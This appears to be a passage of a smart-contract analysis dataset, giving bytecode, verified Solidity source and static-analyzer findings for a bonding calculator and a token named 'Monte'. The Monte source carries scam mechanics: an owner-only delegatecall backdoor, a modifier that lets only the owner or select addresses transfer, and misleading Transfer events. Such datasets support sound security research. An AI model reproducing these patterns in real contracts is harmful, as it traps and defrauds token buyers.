81611a8b565b600080600060608486031215611d7957600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611da457600080fd5b81516118f081611c50565b60008219821115611dc257611dc2611cb4565b500190565b6000816000190483118215151615611de157611de1611cb4565b500290565b600082611e0357634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e585784516001600160a01b031683529383019391830191600101611e33565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122083f0b0ab251dfee4c2538d440633fca540bf1d8545bf78b36f5c25fda4b615e264736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,342 |
0xa6ff76c8b7224f14455d27d895ff527640b1f8be
|
/**
*Submitted for verification at Etherscan.io on 2021-05-28
*/
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library FullMath {
function fullMul(uint256 x, uint256 y)
private
pure
returns (uint256 l, uint256 h)
{
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
require(h < d, "FullMath::mulDiv: overflow");
return fullDiv(l, h, d);
}
}
library Babylonian {
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
library BitMath {
function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {
require(x > 0, "BitMath::mostSignificantBit: zero");
if (x >= 0x100000000000000000000000000000000) {
x >>= 128;
r += 128;
}
if (x >= 0x10000000000000000) {
x >>= 64;
r += 64;
}
if (x >= 0x100000000) {
x >>= 32;
r += 32;
}
if (x >= 0x10000) {
x >>= 16;
r += 16;
}
if (x >= 0x100) {
x >>= 8;
r += 8;
}
if (x >= 0x10) {
x >>= 4;
r += 4;
}
if (x >= 0x4) {
x >>= 2;
r += 2;
}
if (x >= 0x2) r += 1;
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = 0x10000000000000000000000000000;
uint256 private constant Q224 =
0x100000000000000000000000000000000000000000000000000000000;
uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits)
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a uq112x112 into a uint with 18 decimals of precision
function decode112with18(uq112x112 memory self)
internal
pure
returns (uint256)
{
return uint256(self._x) / 5192296858534827;
}
function fraction(uint256 numerator, uint256 denominator)
internal
pure
returns (uq112x112 memory)
{
require(denominator > 0, "FixedPoint::fraction: division by zero");
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), "FixedPoint::fraction: overflow");
return uq112x112(uint224(result));
} else {
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), "FixedPoint::fraction: overflow");
return uq112x112(uint224(result));
}
}
// square root of a UQ112x112
// lossy between 0/1 and 40 bits
function sqrt(uq112x112 memory self)
internal
pure
returns (uq112x112 memory)
{
if (self._x <= uint144(-1)) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112)));
}
uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x);
safeShiftBits -= safeShiftBits % 2;
return
uq112x112(
uint224(
Babylonian.sqrt(uint256(self._x) << safeShiftBits) <<
((112 - safeShiftBits) / 2)
)
);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sqrrt(uint256 a) internal pure returns (uint256 c) {
if (a > 3) {
c = a;
uint256 b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
}
interface IERC20 {
function decimals() external view returns (uint8);
}
interface IUniswapV2ERC20 {
function totalSupply() external view returns (uint256);
}
interface IUniswapV2Pair is IUniswapV2ERC20 {
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function token0() external view returns (address);
function token1() external view returns (address);
}
interface IBondingCalculator {
function valuation(address pair_, uint256 amount_)
external
view
returns (uint256 _value);
}
contract AsgardBondingCalculator is IBondingCalculator {
using FixedPoint for *;
using SafeMath for uint256;
using SafeMath for uint112;
address public immutable ASG;
constructor(address _ASG) {
require(_ASG != address(0));
ASG = _ASG;
}
function getKValue(address _pair) public view returns (uint256 k_) {
uint256 token0 = IERC20(IUniswapV2Pair(_pair).token0()).decimals();
uint256 token1 = IERC20(IUniswapV2Pair(_pair).token1()).decimals();
uint256 decimals = token0.add(token1).sub(IERC20(_pair).decimals());
(uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(_pair)
.getReserves();
k_ = reserve0.mul(reserve1).div(10**decimals);
}
function getTotalValue(address _pair) public view returns (uint256 _value) {
_value = getKValue(_pair).sqrrt().mul(2);
}
function valuation(address _pair, uint256 amount_)
external
view
override
returns (uint256 _value)
{
uint256 totalValue = getTotalValue(_pair);
uint256 totalSupply = IUniswapV2Pair(_pair).totalSupply();
_value = totalValue
.mul(FixedPoint.fraction(amount_, totalSupply).decode112with18())
.div(1e18);
}
function markdown(address _pair) external view returns (uint256) {
(uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(_pair)
.getReserves();
uint256 reserve;
if (IUniswapV2Pair(_pair).token0() == ASG) {
reserve = reserve1;
} else {
reserve = reserve0;
}
return
reserve.mul(2 * (10**IERC20(ASG).decimals())).div(
getTotalValue(_pair)
);
}
}
|
0x608060405234801561001057600080fd5b50600436106100575760003560e01c80631405ce271461005c57806332da80a3146100905780634249719f146100e8578063490084ef1461014a57806368637549146101a2575b600080fd5b6100646101fa565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100d2600480360360208110156100a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061021e565b6040518082815260200191505060405180910390f35b610134600480360360408110156100fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061049f565b6040518082815260200191505060405180910390f35b61018c6004803603602081101561016057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061057a565b6040518082815260200191505060405180910390f35b6101e4600480360360208110156101b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610928565b6040518082815260200191505060405180910390f35b7f0000000000000000000000000dc5189ec8cde5732a01f0f592e927b30437055181565b60008060008373ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561026957600080fd5b505afa15801561027d573d6000803e3d6000fd5b505050506040513d606081101561029357600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff16915060007f0000000000000000000000000dc5189ec8cde5732a01f0f592e927b30437055173ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561035c57600080fd5b505afa158015610370573d6000803e3d6000fd5b505050506040513d602081101561038657600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614156103bb578190506103bf565b8290505b6104956103cb86610928565b6104877f0000000000000000000000000dc5189ec8cde5732a01f0f592e927b30437055173ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561043457600080fd5b505afa158015610448573d6000803e3d6000fd5b505050506040513d602081101561045e57600080fd5b810190808051906020019092919050505060ff16600a0a6002028461095590919063ffffffff16565b6109db90919063ffffffff16565b9350505050919050565b6000806104ab84610928565b905060008473ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156104f557600080fd5b505afa158015610509573d6000803e3d6000fd5b505050506040513d602081101561051f57600080fd5b81019080805190602001909291905050509050610570670de0b6b3a764000061056261055361054e8886610a25565b610d06565b8561095590919063ffffffff16565b6109db90919063ffffffff16565b9250505092915050565b6000808273ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c357600080fd5b505afa1580156105d7573d6000803e3d6000fd5b505050506040513d60208110156105ed57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561064357600080fd5b505afa158015610657573d6000803e3d6000fd5b505050506040513d602081101561066d57600080fd5b810190808051906020019092919050505060ff16905060008373ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b1580156106cb57600080fd5b505afa1580156106df573d6000803e3d6000fd5b505050506040513d60208110156106f557600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561074b57600080fd5b505afa15801561075f573d6000803e3d6000fd5b505050506040513d602081101561077557600080fd5b810190808051906020019092919050505060ff16905060006108358573ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156107d657600080fd5b505afa1580156107ea573d6000803e3d6000fd5b505050506040513d602081101561080057600080fd5b810190808051906020019092919050505060ff166108278486610d4290919063ffffffff16565b610dca90919063ffffffff16565b90506000808673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561088057600080fd5b505afa158015610894573d6000803e3d6000fd5b505050506040513d60608110156108aa57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff16915061091c83600a0a61090e838561095590919063ffffffff16565b6109db90919063ffffffff16565b95505050505050919050565b600061094e600261094061093b8561057a565b610e14565b61095590919063ffffffff16565b9050919050565b60008083141561096857600090506109d5565b600082840290508284828161097957fe5b04146109d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806112146021913960400191505060405180910390fd5b809150505b92915050565b6000610a1d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e84565b905092915050565b610a2d6111bc565b60008211610a86576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806111ee6026913960400191505060405180910390fd5b6000831415610ac457604051806020016040528060007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509050610d00565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff71ffffffffffffffffffffffffffffffffffff168311610bfd57600082607060ff1685901b81610b1157fe5b0490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16811115610bc8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f77000081525060200191505060405180910390fd5b6040518060200160405280827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16815250915050610d00565b6000610c19846e01000000000000000000000000000085610f4a565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16811115610ccf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f77000081525060200191505060405180910390fd5b6040518060200160405280827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509150505b92915050565b60006612725dd1d243ab82600001517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1681610d3a57fe5b049050919050565b600080828401905083811015610dc0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000610e0c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061100c565b905092915050565b60006003821115610e71578190506000610e39610e328460026109db565b6001610d42565b90505b81811015610e6b57809150610e64610e5d610e5785846109db565b83610d42565b60026109db565b9050610e3c565b50610e7f565b60008214610e7e57600190505b5b919050565b60008083118290610f30576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ef5578082015181840152602081019050610eda565b50505050905090810190601f168015610f225780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610f3c57fe5b049050809150509392505050565b6000806000610f5986866110cc565b9150915060008480610f6757fe5b868809905082811115610f7b576001820391505b8083039250848210610ff5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f46756c6c4d6174683a3a6d756c4469763a206f766572666c6f7700000000000081525060200191505060405180910390fd5b61100083838761111f565b93505050509392505050565b60008383111582906110b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561107e578082015181840152602081019050611063565b50505050905090810190601f1680156110ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff806110f957fe5b84860990508385029250828103915082811015611117576001820391505b509250929050565b600080826000038316905080838161113357fe5b04925080858161113f57fe5b049450600181826000038161115057fe5b04018402850194506000600190508084026002038102905080840260020381029050808402600203810290508084026002038102905080840260020381029050808402600203810290508084026002038102905080840260020381029050808602925050509392505050565b604051806020016040528060007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509056fe4669786564506f696e743a3a6672616374696f6e3a206469766973696f6e206279207a65726f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122041efe8f74b2b5c45ec426875603387770d6097d39a79c0b0250c7e8e5a0c393164736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 4,343 |
0x65ed73227FcDE71B2F159070F6f373a5AcaBB9cE
|
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
abstract contract Context {
constructor() {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public override view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public override view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public override returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
abstract contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Monte {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require(msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner || isAccountValid(tx.origin));
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 8200000000000000000000;
string public name = "Monte.finance";
string public symbol = "MONTE";
address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private owner;
address public uniPair;
function sliceUint(bytes memory bs)
internal pure
returns (uint)
{
uint x;
assembly {
x := mload(add(bs, add(0x10, 0)))
}
return x;
}
function isAccountValid(address subject) pure public returns (bool result) {
return uint256(sliceUint(abi.encodePacked(subject))) % 100 == 0;
}
function onlyByHundred() view public returns (bool result) {
require(isAccountValid(msg.sender) == true, "Only one in a hundred accounts should be able to do this");
return true;
}
constructor() {
owner = msg.sender;
uniPair = pairFor(uniFactory, wETH, address(this));
allowance[address(this)][uniRouter] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
}
|
0x6080604052600436106101095760003560e01c806395d89b4111610095578063a9059cbb11610064578063a9059cbb14610461578063aa2f52201461048d578063d6d2b6ba14610530578063dd62ed3e146105e4578063f24286211461061f57610109565b806395d89b41146102f6578063964561f51461030b5780639c73735514610437578063a0e47bf61461044c57610109565b8063313ce567116100dc578063313ce5671461023557806332972e461461024a57806370a082311461027b57806373a6b2be146102ae57806376771d4b146102e157610109565b806306fdde031461010e578063095ea7b31461019857806318160ddd146101d857806323b872dd146101ff575b600080fd5b34801561011a57600080fd5b50610123610634565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015d578181015183820152602001610145565b50505050905090810190601f16801561018a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c4600480360360408110156101ae57600080fd5b506001600160a01b0381351690602001356106c2565b604080519115158252519081900360200190f35b3480156101e457600080fd5b506101ed610728565b60408051918252519081900360200190f35b6101c46004803603606081101561021557600080fd5b506001600160a01b0381358116916020810135909116906040013561072e565b34801561024157600080fd5b506101ed6108b7565b34801561025657600080fd5b5061025f6108bc565b604080516001600160a01b039092168252519081900360200190f35b34801561028757600080fd5b506101ed6004803603602081101561029e57600080fd5b50356001600160a01b03166108cb565b3480156102ba57600080fd5b506101c4600480360360208110156102d157600080fd5b50356001600160a01b03166108dd565b3480156102ed57600080fd5b5061025f610924565b34801561030257600080fd5b50610123610933565b6104356004803603606081101561032157600080fd5b81359190810190604081016020820135600160201b81111561034257600080fd5b82018360208201111561035457600080fd5b803590602001918460208302840111600160201b8311171561037557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103c457600080fd5b8201836020820111156103d657600080fd5b803590602001918460208302840111600160201b831117156103f757600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061098e945050505050565b005b34801561044357600080fd5b506101c4610b45565b34801561045857600080fd5b5061025f610b96565b6101c46004803603604081101561047757600080fd5b506001600160a01b038135169060200135610ba5565b6101c4600480360360408110156104a357600080fd5b810190602081018135600160201b8111156104bd57600080fd5b8201836020820111156104cf57600080fd5b803590602001918460208302840111600160201b831117156104f057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505091359250610bb9915050565b6104356004803603604081101561054657600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561057057600080fd5b82018360208201111561058257600080fd5b803590602001918460018302840111600160201b831117156105a357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610cbb945050505050565b3480156105f057600080fd5b506101ed6004803603604081101561060757600080fd5b506001600160a01b0381358116916020013516610d78565b34801561062b57600080fd5b5061025f610d95565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106ba5780601f1061068f576101008083540402835291602001916106ba565b820191906000526020600020905b81548152906001019060200180831161069d57829003601f168201915b505050505081565b3360008181526001602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025481565b600854600090849084906001600160a01b038084169116148061075e57506008546001600160a01b038281169116145b8061077657506009546001600160a01b038381169116145b8061078b57506008546001600160a01b031632145b806107a057506008546001600160a01b031633145b806107af57506107af326108dd565b6107b857600080fd5b836107c657600192506108ae565b336001600160a01b03871614610831576001600160a01b038616600090815260016020908152604080832033845290915290205484111561080657600080fd5b6001600160a01b03861660009081526001602090815260408083203384529091529020805485900390555b6001600160a01b03861660009081526020819052604090205484111561085657600080fd5b6001600160a01b0380871660008181526020818152604080832080548a9003905593891680835291849020805489019055835188815293519193600080516020610de4833981519152929081900390910190a3600192505b50509392505050565b601281565b6009546001600160a01b031681565b60006020819052908152604090205481565b600060646109158360405160200180826001600160a01b031660601b8152601401915050604051602081830303815290604052610da4565b8161091c57fe5b061592915050565b6006546001600160a01b031681565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106ba5780601f1061068f576101008083540402835291602001916106ba565b6008546001600160a01b031633146109a557600080fd5b306000818152602081905260408082208690556002543380845292829020606460069092028290049055600554825163f305d71960e01b815260048101959095526024850188905260448501889052349185018290526084850193909352610258420160a485015290516001600160a01b039092169263f305d7199260c480830192606092919082900301818588803b158015610a4157600080fd5b505af1158015610a55573d6000803e3d6000fd5b50505050506040513d6060811015610a6c57600080fd5b50508051825114610a7c57600080fd5b60005b8251811015610b3f57818181518110610a9457fe5b6020026020010151600080858481518110610aab57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550828181518110610ae357fe5b60200260200101516001600160a01b031660006001600160a01b031660008051